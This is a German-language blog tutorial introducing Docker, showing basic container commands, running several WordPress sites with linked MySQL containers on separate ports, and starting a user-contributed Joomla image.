Hello from Docker.
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
1. The Docker client contacted the Docker daemon.
2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (Assuming it was not already locally available.)
3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

Das funktioniert also schon mal gut. Mit dem Befehl docker ps -a können Sie sich alle laufenden Container anzeigen lassen

$ sudo docker ps -a
CONTAINER ID IMAGE              COMMAND  CREATED       STATUS                   PORTS NAMES
2f6ab4eba9b0 hello-world:latest "/hello" 4 minutes ago Exited (0) 4 minutes ago       insane_elion

Sie können den Container stoppen mit dem Befehl

sudo docker stop insane_elion

insane_elion ist der Name, der für diesen Container vergeben wurden. Falls kein Name zur Verfügung steht, können Sie auch die ersten Ziffern der Container-ID nehmen.

Löschen können Sie einen Container mit dem Befehl

sudo docker rm insane_elion

Viele WordPress Installationen

Lassen Sie uns das Beispiel mit den 15 WordPress Installationen kurz durchspielen.

Sie müssen die Images WordPress und MySQL laden

sudo docker pull wordpress
sudo docker pull mysql

Sie müssen einen MySQL Container pro WordPress Instanz anlegen und ihm ein Passwort mitgeben, damit der WordPress Installer eine Datenbank anlegen kann.

sudo docker run --name mysql-wp1 -e MYSQL_ROOT_PASSWORD=8k6lgg35aq1 -d mysql
sudo docker run --name mysql-wp2 -e MYSQL_ROOT_PASSWORD=8k6lgg35aq2 -d mysql
sudo docker run --name mysql-wp3 -e MYSQL_ROOT_PASSWORD=8k6lgg35aq3 -d mysql
usw.
sudo docker run --name mysql-wpx -e MYSQL_ROOT_PASSWORD=xxxxxxxxxxx -d mysql

Nun brauchen Sie jeweils eine WordPress Instanz, die mit dem MySQL Container verlinkt wird und auf einem bestimmten Port läuft

sudo docker run --name wp1 --link mysql-wp1:mysql -p 8081:80 -d wordpress
sudo docker run --name wp2 --link mysql-wp2:mysql -p 8082:80 -d wordpress
sudo docker run --name wp3 --link mysql-wp3:mysql -p 8083:80 -d wordpress

usw.

sudo docker run --name wpx --link mysql-wpx:mysql -p 80xx:80 -d wordpress

Mit dem Befehl

sudo docker ps -a

können Sie nachsehen, ob alles passt und wenn Sie nun im Browser den entsprechenden Port aufrufen, in meinem Fall http://serverblogger.ch:8081 und weitere, so erscheint jeweils der Web-Installer von WordPress.

WordPress Installation
WordPress Installation

An diesem Punkt werden Sie beginnen, fasziniert zu sein 🙂

Im Blogpost WordPress Testumgebungen in Docker ist dieses Beispiel noch ausführlicher erläutert.

Ein Beispiel für Joomla mit einem anderen Image

Ausser den offiziellen Images von Docker gibt es auch von Benutzern zur Verfügung gestellte Images. Ich möchte Ihnen ein Beispiel für Joomla zeigen. Sie müssen sich beim Docker Hub registrieren, um die zur Verfügung stehen Images durchsuchen zu können. Der Benutzer gjong hat beispielsweise ein Joomla Image gebaut, das alles enthält, was man so braucht. Sie installieren es mit dem Befehl

sudo docker pull gjong/apache-joomla

Das MySQL Passwort ist in diesem Fall leer und gjong empfiehlt diesen Startbefehl

sudo docker run -d -p 80:80 gjong/apache-joomla

Ich würde noch einen Namen mitgeben und ihn auf einem freien Port starten (nach der WordPress Apokalypse 🙂 ), sagen wir mal 8099

sudo docker run --name joomla1 -d -p 8099:80 gjong/apache-joomla

Rufen Sie mal den Port im Browser auf

Joomla Installer
Joomla Installer

Links


tl;dr: Mit Docker können Sie Software in Containern ausliefern und einfach verteilen.